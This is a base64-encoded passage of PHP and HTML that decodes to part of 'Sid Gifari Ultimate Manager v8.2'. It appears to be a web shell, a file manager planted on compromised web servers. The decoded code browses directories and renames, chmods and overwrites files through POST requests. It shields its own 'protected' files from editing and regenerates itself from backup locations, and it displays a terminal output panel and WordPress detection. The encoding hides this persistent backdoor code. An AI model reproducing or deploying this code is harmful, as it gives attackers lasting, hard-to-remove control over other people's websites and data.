wogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQogICAgCiAgICAvLyBSZW5hbWUKICAgIGlmICghZW1wdHkoJF9QT1NUWydvbGQnXSkgJiYgIWVtcHR5KCRfUE9TVFsnbmV3J10pKSB7CiAgICAgICAgJG9sZCA9IENVUlJFTlRfUEFUSCAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkX1BPU1RbJ29sZCddOwogICAgICAgICRuZXcgPSBDVVJSRU5UX1BBVEggLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJF9QT1NUWyduZXcnXTsKICAgICAgICAKICAgICAgICBpZiAoJHJlZ2VuZXJhdG9yLT5pc1Byb3RlY3RlZEZpbGUoJG9sZCkpIHsKICAgICAgICAgICAgJF9TRVNTSU9OWydtZXNzYWdlJ10gPSAi4pqg77iPIENhbm5vdCByZW5hbWUgcHJvdGVjdGVkIGZpbGUhIjsKICAgICAgICB9IGVsc2VpZiAoZmlsZV9leGlzdHMoJG9sZCkgJiYgIWZpbGVfZXhpc3RzKCRuZXcpKSB7CiAgICAgICAgICAgIHJlbmFtZSgkb2xkLCAkbmV3KTsKICAgICAgICB9CiAgICB9CiAgICAKICAgIC8vIENoYW5nZSBwZXJtaXNzaW9ucwogICAgaWYgKCFlbXB0eSgkX1BPU1RbJ2NobW9kX2ZpbGUnXSkgJiYgaXNzZXQoJF9QT1NUWydjaG1vZCddKSkgewogICAgICAgICRmaWxlID0gQ1VSUkVOVF9QQVRIIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRfUE9TVFsnY2htb2RfZmlsZSddOwogICAgICAgIAogICAgICAgIGlmICgkcmVnZW5lcmF0b3ItPmlzUHJvdGVjdGVkRmlsZSgkZmlsZSkpIHsKICAgICAgICAgICAgJF9TRVNTSU9OWydtZXNzYWdlJ10gPSAi4pqg77iPIENhbm5vdCBjaGFuZ2UgcGVybWlzc2lvbnMgb2YgcHJvdGVjdGVkIGZpbGUhIjsKICAgICAgICB9IGVsc2VpZiAoZmlsZV9leGlzdHMoJGZpbGUpKSB7CiAgICAgICAgICAgICRwZXJtID0gaW50dmFsKCRfUE9TVFsnY2htb2QnXSwgOCk7CiAgICAgICAgICAgIGlmICgkcGVybSA+PSA0MDAgJiYgJHBlcm0gPD0gNzU1KSB7CiAgICAgICAgICAgICAgICBAY2htb2QoJGZpbGUsICRwZXJtKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KICAgIAogICAgLy8gRWRpdCBmaWxlCiAgICBpZiAoIWVtcHR5KCRfUE9TVFsnZWRpdF9maWxlJ10pICYmIGlzc2V0KCRfUE9TVFsnY29udGVudCddKSkgewogICAgICAgICRmaWxlID0gQ1VSUkVOVF9QQVRIIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRfUE9TVFsnZWRpdF9maWxlJ107CiAgICAgICAgCiAgICAgICAgaWYgKCRyZWdlbmVyYXRvci0+aXNQcm90ZWN0ZWRGaWxlKCRmaWxlKSkgewogICAgICAgICAgICAkX1NFU1NJT05bJ21lc3NhZ2UnXSA9ICLimqDvuI8gQ2Fubm90IGVkaXQgcHJvdGVjdGVkIGZpbGUhIjsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBmaWxlX3B1dF9jb250ZW50cygkZmlsZSwgJF9QT1NUWydjb250ZW50J10pOwogICAgICAgIH0KICAgIH0KICAgIAogICAgaWYgKCRyZWRpcmVjdCkgewogICAgICAgIGhlYWRlcigiTG9jYXRpb246ID9kaXI9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKENVUlJFTlRfUEFUSCkpKTsKICAgICAgICBleGl0OwogICAgfQp9CgovLyA9PT09PT09PT09PT09PT09PT09PSBHRVQgRElSRUNUT1JZIENPTlRFTlRTID09PT09PT09PT09PT09PT09PT09IC8vCiRpdGVtcyA9IHNjYW5kaXIoQ1VSUkVOVF9QQVRIKTsKJGZvbGRlcnMgPSBbXTsKJGZpbGVzID0gW107Cgpmb3JlYWNoICgkaXRlbXMgYXMgJGl0ZW0pIHsKICAgIGlmICgkaXRlbSA9PT0gJy4nIHx8ICRpdGVtID09PSAnLi4nKSBjb250aW51ZTsKICAgIAogICAgJGZ1bGxfcGF0aCA9IENVUlJFTlRfUEFUSCAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkaXRlbTsKICAgICRpc19kaXIgPSBpc19kaXIoJGZ1bGxfcGF0aCk7CiAgICAKICAgICRpdGVtX2RhdGEgPSBbCiAgICAgICAgJ25hbWUnID0+ICRpdGVtLAogICAgICAgICdwYXRoJyA9PiAkZnVsbF9wYXRoLAogICAgICAgICdpc19kaXInID0+ICRpc19kaXIsCiAgICAgICAgJ3Blcm1zJyA9PiBzdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJGZ1bGxfcGF0aCkpLCAtNCksCiAgICAgICAgJ21vZGlmaWVkJyA9PiBmaWxlbXRpbWUoJGZ1bGxfcGF0aCksCiAgICAgICAgJ3Byb3RlY3RlZCcgPT4gJHJlZ2VuZXJhdG9yLT5pc1Byb3RlY3RlZEZpbGUoJGZ1bGxfcGF0aCkKICAgIF07CiAgICAKICAgIGlmICgkaXNfZGlyKSB7CiAgICAgICAgJGl0ZW1fZGF0YVsnc2l6ZSddID0gJy0nOwogICAgICAgICRmb2xkZXJzW10gPSAkaXRlbV9kYXRhOwogICAgfSBlbHNlIHsKICAgICAgICAkaXRlbV9kYXRhWydzaXplJ10gPSBmaWxlc2l6ZSgkZnVsbF9wYXRoKTsKICAgICAgICAkaXRlbV9kYXRhWydleHRlbnNpb24nXSA9IHBhdGhpbmZvKCRpdGVtLCBQQVRISU5GT19FWFRFTlNJT04pOwogICAgICAgICRmaWxlc1tdID0gJGl0ZW1fZGF0YTsKICAgIH0KfQoKdXNvcnQoJGZvbGRlcnMsIGZ1bmN0aW9uKCRhLCAkYikgeyByZXR1cm4gc3RyY2FzZWNtcCgkYVsnbmFtZSddLCAkYlsnbmFtZSddKTsgfSk7CnVzb3J0KCRmaWxlcywgZnVuY3Rpb24oJGEsICRiKSB7IHJldHVybiBzdHJjYXNlY21wKCRhWyduYW1lJ10sICRiWyduYW1lJ10pOyB9KTsKCi8vID09PT09PT09PT09PT09PT09PT09IEVESVQgTU9ERSA9PT09PT09PT09PT09PT09PT09PSAvLwokZWRpdE1vZGUgPSBpc3NldCgkX0dFVFsnZWRpdCddKTsKJGVkaXRGaWxlID0gJF9HRVRbJ2VkaXQnXSA/PyAnJzsKJGVkaXRDb250ZW50ID0gJyc7CgppZiAoJGVkaXRNb2RlICYmIGlzX2ZpbGUoQ1VSUkVOVF9QQVRIIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRlZGl0RmlsZSkpIHsKICAgIGlmICghJHJlZ2VuZXJhdG9yLT5pc1Byb3RlY3RlZEZpbGUoQ1VSUkVOVF9QQVRIIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRlZGl0RmlsZSkpIHsKICAgICAgICAkZWRpdENvbnRlbnQgPSBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKENVUlJFTlRfUEFUSCAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkZWRpdEZpbGUpKTsKICAgIH0gZWxzZSB7CiAgICAgICAgJGVkaXRNb2RlID0gZmFsc2U7CiAgICAgICAgJF9TRVNTSU9OWydtZXNzYWdlJ10gPSAiQ2Fubm90IGVkaXQgcHJvdGVjdGVkIGZpbGUiOwogICAgfQp9CgovLyA9PT09PT09PT09PT09PT09PT09PSBIRUxQRVIgRlVOQ1RJT05TID09PT09PT09PT09PT09PT09PT09IC8vCmZ1bmN0aW9uIGZvcm1hdEJ5dGVzKCRieXRlcywgJHByZWNpc2lvbiA9IDIpIHsKICAgIGlmICgkYnl0ZXMgPD0gMCkgcmV0dXJuICcwIEInOwogICAgJHVuaXRzID0gWydCJywgJ0tCJywgJ01CJywgJ0dCJywgJ1RCJywgJ1BCJ107CiAgICAkcG93ID0gZmxvb3IoKCRieXRlcyA/IGxvZygkYnl0ZXMpIDogMCkgLyBsb2coMTAyNCkpOwogICAgJHBvdyA9IG1pbigkcG93LCBjb3VudCgkdW5pdHMpIC0gMSk7CiAgICAkYnl0ZXMgLz0gcG93KDEwMjQsICRwb3cpOwogICAgcmV0dXJuIHJvdW5kKCRieXRlcywgJHByZWNpc2lvbikgLiAnICcgLiAkdW5pdHNbJHBvd107Cn0KCi8vIENvdW50IGFjdGl2ZSBiYWNrdXBzCiRiYWNrdXBfbG9jYXRpb25zID0gJHJlZ2VuZXJhdG9yLT5nZXRCYWNrdXBMb2NhdGlvbnMoKTsKJGFjdGl2ZV9iYWNrdXBzID0gMDsKZm9yZWFjaCAoJGJhY2t1cF9sb2NhdGlvbnMgYXMgJGJhY2t1cCkgewogICAgaWYgKGZpbGVfZXhpc3RzKCRiYWNrdXApKSB7CiAgICAgICAgJGFjdGl2ZV9iYWNrdXBzKys7CiAgICB9Cn0KCi8vIEdldCBtZXNzYWdlcwokdGVybWluYWxfb3V0cHV0ID0gJF9TRVNTSU9OWyd0ZXJtaW5hbF9vdXRwdXQnXSA/PyAnJzsKJG1lc3NhZ2UgPSAkX1NFU1NJT05bJ21lc3NhZ2UnXSA/PyAnJzsKdW5zZXQoJF9TRVNTSU9OWyd0ZXJtaW5hbF9vdXRwdXQnXSwgJF9TRVNTSU9OWydtZXNzYWdlJ10pOwo/Pgo8IURPQ1RZUEUgaHRtbD4KPGh0bWwgbGFuZz0iZW4iPgo8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4KICAgIDx0aXRsZT7imqEgU2lkIEdpZmFyaSBVbHRpbWF0ZSBNYW5hZ2VyIHY4LjI8L3RpdGxlPgogICAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJodHRwczovL2NkbmpzLmNsb3VkZmxhcmUuY29tL2FqYXgvbGlicy9mb250LWF3ZXNvbWUvNi40LjAvY3NzL2FsbC5taW4uY3NzIj4KICAgIDxzdHlsZT4KICAgICAgICA6cm9vdCB7CiAgICAgICAgICAgIC0tcHJpbWFyeTogIzBhMGEwYTsKICAgICAgICAgICAgLS1zZWNvbmRhcnk6ICMxYTFhMWE7CiAgICAgICAgICAgIC0tYWNjZW50OiAjMDBmZjg4OwogICAgICAgICAgICAtLWRhbmdlcjogI2ZmNDc1NzsKICAgICAgICAgICAgLS1zdWNjZXNzOiAjMmVkNTczOwogICAgICAgICAgICAtLXdhcm5pbmc6ICNmZmE1MDI7CiAgICAgICAgfQogICAgICAgIAogICAgICAgICogeyBtYXJnaW46IDA7IHBhZGRpbmc6IDA7IGJveC1zaXppbmc6IGJvcmRlci1ib3g7IH0KICAgICAgICBib2R5IHsgCiAgICAgICAgICAgIGZvbnQtZmFtaWx5OiAnU2Vnb2UgVUknLCBtb25vc3BhY2U7CiAgICAgICAgICAgIGJhY2tncm91bmQ6IGxpbmVhci1ncmFkaWVudCgxMzVkZWcsICMwYTBhMGEgMCUsICMxYTFhMWEgMTAwJSk7CiAgICAgICAgICAgIGNvbG9yOiB3aGl0ZTsKICAgICAgICAgICAgbWluLWhlaWdodDogMTAwdmg7CiAgICAgICAgfQogICAgICAgIAogICAgICAgIC5jb250YWluZXIgeyAKICAgICAgICAgICAgbWF4LXdpZHRoOiAxNDAwcHg7IAogICAgICAgICAgICBtYXJnaW46IDAgYXV0bzsgCiAgICAgICAgICAgIHBhZGRpbmc6IDIwcHg7CiAgICAgICAgfQogICAgICAgIAogICAgICAgIC5oZWFkZXIgewogICAgICAgICAgICBiYWNrZ3JvdW5kOiByZ2JhKDEwLCAxMCwgMTAsIDAuOSk7CiAgICAgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkIHZhcigtLWFjY2VudCk7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDE1cHg7CiAgICAgICAgICAgIHBhZGRpbmc6IDI1cHg7CiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDI1cHg7CiAgICAgICAgICAgIHRleHQtYWxpZ246IGNlbnRlcjsKICAgICAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlOwogICAgICAgICAgICBvdmVyZmxvdzogaGlkZGVuOwogICAgICAgIH0KICAgICAgICAKICAgICAgICAuaGVhZGVyIGgxIHsKICAgICAgICAgICAgZm9udC1zaXplOiAyLjVlbTsKICAgICAgICAgICAgYmFja2dyb3VuZDogbGluZWFyLWdyYWRpZW50KDkwZGVnLCB2YXIoLS1hY2NlbnQpLCAjMDBjY2ZmKTsKICAgICAgICAgICAgLXdlYmtpdC1iYWNrZ3JvdW5kLWNsaXA6IHRleHQ7CiAgICAgICAgICAgIGJhY2tncm91bmQtY2xpcDogdGV4dDsKICAgICAgICAgICAgY29sb3I6IHRyYW5zcGFyZW50OwogICAgICAgICAgICBtYXJnaW4tYm90dG9tOiAxMHB4OwogICAgICAgIH0KICAgICAgICAKICAgICAgICAuc3RhdHVzLWJhciB7CiAgICAgICAgICAgIGRpc3BsYXk6IGZsZXg7CiAgICAgICAgICAgIGp1c3RpZnktY29udGVudDogY2VudGVyOwogICAgICAgICAgICBnYXA6IDMwcHg7CiAgICAgICAgICAgIGZsZXgtd3JhcDogd3JhcDsKICAgICAgICAgICAgbWFyZ2luLXRvcDogMTVweDsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLnN0YXR1cy1pdGVtIHsKICAgICAgICAgICAgZGlzcGxheTogZmxleDsKICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsKICAgICAgICAgICAgZ2FwOiA4cHg7CiAgICAgICAgICAgIGZvbnQtc2l6ZTogMC45ZW07CiAgICAgICAgICAgIGNvbG9yOiAjODg4OwogICAgICAgIH0KICAgICAgICAKICAgICAgICAucGF0aC1uYXYgewogICAgICAgICAgICBiYWNrZ3JvdW5kOiByZ2JhKDMwLCAzMCwgMzAsIDAuOSk7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDEwcHg7CiAgICAgICAgICAgIHBhZGRpbmc6IDE1cHg7CiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDI1cHg7CiAgICAgICAgICAgIGRpc3BsYXk6IGZsZXg7CiAgICAgICAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7CiAgICAgICAgICAgIGdhcDogMTBweDsKICAgICAgICAgICAgZmxleC13cmFwOiB3cmFwOwogICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCByZ2JhKDI1NSwgMjU1LCAyNTUsIDAuMSk7CiAgICAgICAgfQogICAgICAgIAogICAgICAgIC5wYXRoLW5hdiBhIHsKICAgICAgICAgICAgY29sb3I6IHdoaXRlOwogICAgICAgICAgICB0ZXh0LWRlY29yYXRpb246IG5vbmU7CiAgICAgICAgICAgIHBhZGRpbmc6IDhweCAxNXB4OwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA4cHg7CiAgICAgICAgICAgIGJhY2tncm91bmQ6IHJnYmEoMjU1LCAyNTUsIDI1NSwgMC4wNSk7CiAgICAgICAgICAgIHRyYW5zaXRpb246IGFsbCAwLjNzOwogICAgICAgIH0KICAgICAgICAKICAgICAgICAuc3RhdHMtZ3JpZCB7CiAgICAgICAgICAgIGRpc3BsYXk6IGdyaWQ7CiAgICAgICAgICAgIGdyaWQtdGVtcGxhdGUtY29sdW1uczogcmVwZWF0KGF1dG8tZml0LCBtaW5tYXgoMjAwcHgsIDFmcikpOwogICAgICAgICAgICBnYXA6IDE1cHg7CiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDI1cHg7CiAgICAgICAgfQogICAgICAgIAogICAgICAgIC5zdGF0LWNhcmQgewogICAgICAgICAgICBiYWNrZ3JvdW5kOiByZ2JhKDMwLCAzMCwgMzAsIDAuOSk7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDEycHg7CiAgICAgICAgICAgIHBhZGRpbmc6IDIwcHg7CiAgICAgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkIHJnYmEoMCwgMjU1LCAxMzYsIDAuMSk7CiAgICAgICAgICAgIHRyYW5zaXRpb246IHRyYW5zZm9ybSAwLjNzOwogICAgICAgIH0KICAgICAgICAKICAgICAgICAuc3RhdC12YWx1ZSB7CiAgICAgICAgICAgIGZvbnQtc2l6ZTogMmVtOwogICAgICAgICAgICBmb250LXdlaWdodDogYm9sZDsKICAgICAgICAgICAgY29sb3I6IHZhcigtLWFjY2VudCk7CiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDVweDsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLnN0YXQtbGFiZWwgewogICAgICAgICAgICBjb2xvcjogIzg4ODsKICAgICAgICAgICAgZm9udC1zaXplOiAwLjllbTsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLmFsZXJ0IHsKICAgICAgICAgICAgcGFkZGluZzogMTVweCAyMHB4OwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiAxMHB4OwogICAgICAgICAgICBtYXJnaW46IDE1cHggMDsKICAgICAgICAgICAgZGlzcGxheTogZmxleDsKICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsKICAgICAgICAgICAgZ2FwOiAxMnB4OwogICAgICAgICAgICBib3JkZXItbGVmdDogNHB4IHNvbGlkOwogICAgICAgIH0KICAgICAgICAKICAgICAgICAuYWxlcnQtc3VjY2VzcyB7CiAgICAgICAgICAgIGJhY2tncm91bmQ6IHJnYmEoNDYsIDIxMywgMTE1LCAwLjEpOwogICAgICAgICAgICBib3JkZXItY29sb3I6IHZhcigtLXN1Y2Nlc3MpOwogICAgICAgIH0KICAgICAgICAKICAgICAgICAuYWxlcnQtd2FybmluZyB7CiAgICAgICAgICAgIGJhY2tncm91bmQ6IHJnYmEoMjU1LCAxNjUsIDIsIDAuMSk7CiAgICAgICAgICAgIGJvcmRlci1jb2xvcjogdmFyKC0td2FybmluZyk7CiAgICAgICAgfQogICAgICAgIAogICAgICAgIC50ZXJtaW5hbC1zZWN0aW9uIHsKICAgICAgICAgICAgYmFja2dyb3VuZDogIzAwMDsKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogMTJweDsKICAgICAgICAgICAgcGFkZGluZzogMjBweDsKICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogMjVweDsKICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgcmdiYSgwLCAyNTUsIDEzNiwgMC4yKTsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLnRlcm1pbmFsLW91dHB1dCB7CiAgICAgICAgICAgIGJhY2tncm91bmQ6ICMwMDA7CiAgICAgICAgICAgIGNvbG9yOiB2YXIoLS1hY2NlbnQpOwogICAgICAgICAgICBmb250LWZhbWlseTogJ0pldEJyYWlucyBNb25vJywgbW9ub3NwYWNlOwogICAgICAgICAgICBwYWRkaW5nOiAxNXB4OwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA4cHg7CiAgICAgICAgICAgIG1heC1oZWlnaHQ6IDMwMHB4OwogICAgICAgICAgICBvdmVyZmxvdy15OiBhdXRvOwogICAgICAgICAgICB3aGl0ZS1zcGFjZTogcHJlLXdyYXA7CiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDE1cHg7CiAgICAgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkICMzMzM7CiAgICAgICAgfQogICAgICAgIAogICAgICAgIC50ZXJtaW5hbC1pbnB1dCB7CiAgICAgICAgICAgIGRpc3BsYXk6IGZsZXg7CiAgICAgICAgICAgIGdhcDogMTBweDsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLnRlcm1pbmFsLWlucHV0IGlucHV0IHsKICAgICAgICAgICAgZmxleDogMTsKICAgICAgICAgICAgYmFja2dyb3VuZDogcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjA1KTsKICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgcmdiYSgwLCAyNTUsIDEzNiwgMC4zKTsKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogOHB4OwogICAgICAgICAgICBwYWRkaW5nOiAxMnB4IDE1cHg7CiAgICAgICAgICAgIGNvbG9yOiB3aGl0ZTsKICAgICAgICAgICAgZm9udC1mYW1pbHk6ICdKZXRCcmFpbnMgTW9ubycsIG1vbm9zcGFjZTsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLnF1aWNrLWFjdGlvbnMgewogICAgICAgICAgICBkaXNwbGF5OiBncmlkOwogICAgICAgICAgICBncmlkLXRlbXBsYXRlLWNvbHVtbnM6IHJlcGVhdChhdXRvLWZpdCwgbWlubWF4KDI1MHB4LCAxZnIpKTsKICAgICAgICAgICAgZ2FwOiAxNXB4OwogICAgICAgICAgICBtYXJnaW4tYm90dG9tOiAyNXB4OwogICAgICAgIH0KICAgICAgICAKICAgICAgICAuYWN0aW9uLWZvcm0gewogICAgICAgICAgICBiYWNrZ3JvdW5kOiByZ2JhKDMwLCAzMCwgMzAsIDAuOSk7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDEycHg7CiAgICAgICAgICAgIHBhZGRpbmc6IDIwcHg7CiAgICAgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkIHJnYmEoMjU1LCAyNTUsIDI1NSwgMC4xKTsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLmFjdGlvbi1pbnB1dCB7CiAgICAgICAgICAgIGRpc3BsYXk6IGZsZXg7CiAgICAgICAgICAgIGdhcDogMTBweDsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLmFjdGlvbi1idG4gewogICAgICAgICAgICBiYWNrZ3JvdW5kOiBsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCB2YXIoLS1hY2NlbnQpLCB0cmFuc3BhcmVudCk7CiAgICAgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkIHZhcigtLWFjY2VudCk7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDhweDsKICAgICAgICAgICAgcGFkZGluZzogMTJweCAyMHB4OwogICAgICAgICAgICBjb2xvcjogd2hpdGU7CiAgICAgICAgICAgIGN1cnNvcjogcG9pbnRlcjsKICAgICAgICAgICAgdHJhbnNpdGlvbjogYWxsIDAuM3M7CiAgICAgICAgfQogICAgICAgIAogICAgICAgIC5maWxlLWJyb3dzZXIgewogICAgICAgICAgICBiYWNrZ3JvdW5kOiByZ2JhKDMwLCAzMCwgMzAsIDAuOSk7CiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDEycHg7CiAgICAgICAgICAgIHBhZGRpbmc6IDIwcHg7CiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDI1cHg7CiAgICAgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkIHJnYmEoMjU1LCAyNTUsIDI1NSwgMC4xKTsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLmZpbGUtdGFibGUgewogICAgICAgICAgICB3aWR0aDogMTAwJTsKICAgICAgICAgICAgYm9yZGVyLWNvbGxhcHNlOiBzZXBhcmF0ZTsKICAgICAgICAgICAgYm9yZGVyLXNwYWNpbmc6IDA7CiAgICAgICAgfQogICAgICAgIAogICAgICAgIC5maWxlLXRhYmxlIHRoIHsKICAgICAgICAgICAgcGFkZGluZzogMTVweDsKICAgICAgICAgICAgdGV4dC1hbGlnbjogbGVmdDsKICAgICAgICAgICAgY29sb3I6ICM4ODg7CiAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDJweCBzb2xpZCByZ2JhKDI1NSwgMjU1LCAyNTUsIDAuMSk7CiAgICAgICAgfQogICAgICAgIAogICAgICAgIC5maWxlLXRhYmxlIHRkIHsKICAgICAgICAgICAgcGFkZGluZzogMTJweCAxNXB4OwogICAgICAgICAgICBib3JkZXItYm90dG9tOiAxcHggc29saWQgcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjA1KTsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLnByb3RlY3RlZC1yb3cgewogICAgICAgICAgICBiYWNrZ3JvdW5kOiByZ2JhKDI1NSwgMTY1LCAyLCAwLjA1KTsKICAgICAgICAgICAgYm9yZGVyLWxlZnQ6IDNweCBzb2xpZCB2YXIoLS13YXJuaW5nKTsKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgLmZvb3RlciB7CiAgICAgICAgICAgIHRleHQtYWxpZ246IGNlbnRlcjsKICAgICAgICAgICAgcGFkZGluZzogMjBweDsKICAgICAgICAgICAgY29sb3I6ICM4ODg7CiAgICAgICAgICAgIGZvbnQtc2l6ZTogMC45ZW07CiAgICAgICAgICAgIGJvcmRlci10b3A6IDFweCBzb2xpZCByZ2JhKDI1NSwgMjU1LCAyNTUsIDAuMSk7CiAgICAgICAgICAgIG1hcmdpbi10b3A6IDMwcHg7CiAgICAgICAgfQogICAgICAgIAogICAgICAgIC5yZWdlbi1idG4gewogICAgICAgICAgICBiYWNrZ3JvdW5kOiBsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCAjZmYwMDgwLCAjZmY4YzAwKTsKICAgICAgICAgICAgYm9yZGVyOiBub25lOwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA4cHg7CiAgICAgICAgICAgIHBhZGRpbmc6IDEycHggMjVweDsKICAgICAgICAgICAgY29sb3I6IHdoaXRlOwogICAgICAgICAgICBmb250LXdlaWdodDogYm9sZDsKICAgICAgICAgICAgY3Vyc29yOiBwb2ludGVyOwogICAgICAgICAgICBtYXJnaW46IDEwcHg7CiAgICAgICAgICAgIHRyYW5zaXRpb246IGFsbCAwLjNzOwogICAgICAgIH0KICAgICAgICAKICAgICAgICAuY29kZS1lZGl0b3IgewogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMWUxZTFlOwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiAxMnB4OwogICAgICAgICAgICBvdmVyZmxvdzogaGlkZGVuOwogICAgICAgICAgICBtYXJnaW4tYm90dG9tOiAyMHB4OwogICAgICAgIH0KICAgICAgICAKICAgICAgICAuZWRpdG9yLWhlYWRlciB7CiAgICAgICAgICAgIGJhY2tncm91bmQ6ICMyNTI1MjY7CiAgICAgICAgICAgIHBhZGRpbmc6IDE1cHg7CiAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjMzMzOwogICAgICAgICAgICBkaXNwbGF5OiBmbGV4OwogICAgICAgICAgICBqdXN0aWZ5LWNvbnRlbnQ6IHNwYWNlLWJldHdlZW47CiAgICAgICAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7CiAgICAgICAgfQogICAgPC9zdHlsZT4KPC9oZWFkPgo8Ym9keT4KICAgIDxkaXYgY2xhc3M9ImNvbnRhaW5lciI+CiAgICAgICAgPCEtLSBIZWFkZXIgLS0+CiAgICAgICAgPGRpdiBjbGFzcz0iaGVhZGVyIj4KICAgICAgICAgICAgPGgxPuKaoSBTaWQgR2lmYXJpIFVsdGltYXRlIE1hbmFnZXIgdjguMjwvaDE+CiAgICAgICAgICAgIDxwIHN0eWxlPSJjb2xvcjogIzg4ODsgbWFyZ2luLWJvdHRvbTogMTVweDsiPkF1dG8tUmVnZW5lcmF0aW9uIFN5c3RlbSDigKIgY1BhbmVsIFByb3RlY3RlZDwvcD4KICAgICAgICAgICAgCiAgICAgICAgICAgIDxkaXYgY2xhc3M9InN0YXR1cy1iYXIiPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic3RhdHVzLWl0ZW0iPgogICAgICAgICAgICAgICAgICAgIDxpIGNsYXNzPSJmYXMgZmEtc2hpZWxkLWFsdCI+PC9pPgogICAgICAgICAgICAgICAgICAgIDxzcGFuPlByb3RlY3RlZDogPHNwYW4gc3R5bGU9ImNvbG9yOiB2YXIoLS1hY2NlbnQpOyI+QWN0aXZlPC9zcGFuPjwvc3Bhbj4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic3RhdHVzLWl0ZW0iPgogICAgICAgICAgICAgICAgICAgIDxpIGNsYXNzPSJmYXMgZmEtc3luYy1hbHQiPjwvaT4KICAgICAgICAgICAgICAgICAgICA8c3Bhbj5CYWNrdXBzOiA8c3BhbiBzdHlsZT0iY29sb3I6IHZhcigtLXN1Y2Nlc3MpOyI+PD89ICRhY3RpdmVfYmFja3VwcyA/Pi88Pz0gY291bnQoJGJhY2t1cF9sb2NhdGlvbnMpID8+PC9zcGFuPjwvc3Bhbj4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic3RhdHVzLWl0ZW0iPgogICAgICAgICAgICAgICAgICAgIDxpIGNsYXNzPSJmYXMgZmEtd29yZHByZXNzIj48L2k+CiAgICAgICAgICAgICAgICAgICAgPHNwYW4+V29yZFByZXNzOiA8c3BhbiBzdHlsZT0iY29sb3I6IDw/PSAkd3BfZGV0ZWN0ZWQgPyAndmFyKC0tc3VjY2VzcyknIDogJ3ZhcigtLWRhbmdlciknID8+OyI+PD89ICR3cF9kZXRlY3RlZCA/ICdEZXRlY3RlZCcgOiAnTm90IEZvdW5kJyA/Pjwvc3Bhbj48L3NwYW4+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIAogICAgICAgICAgICA8Zm9ybSBtZXRob2Q9InBvc3QiPgogICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiIG5hbWU9InJlZ2VuZXJhdG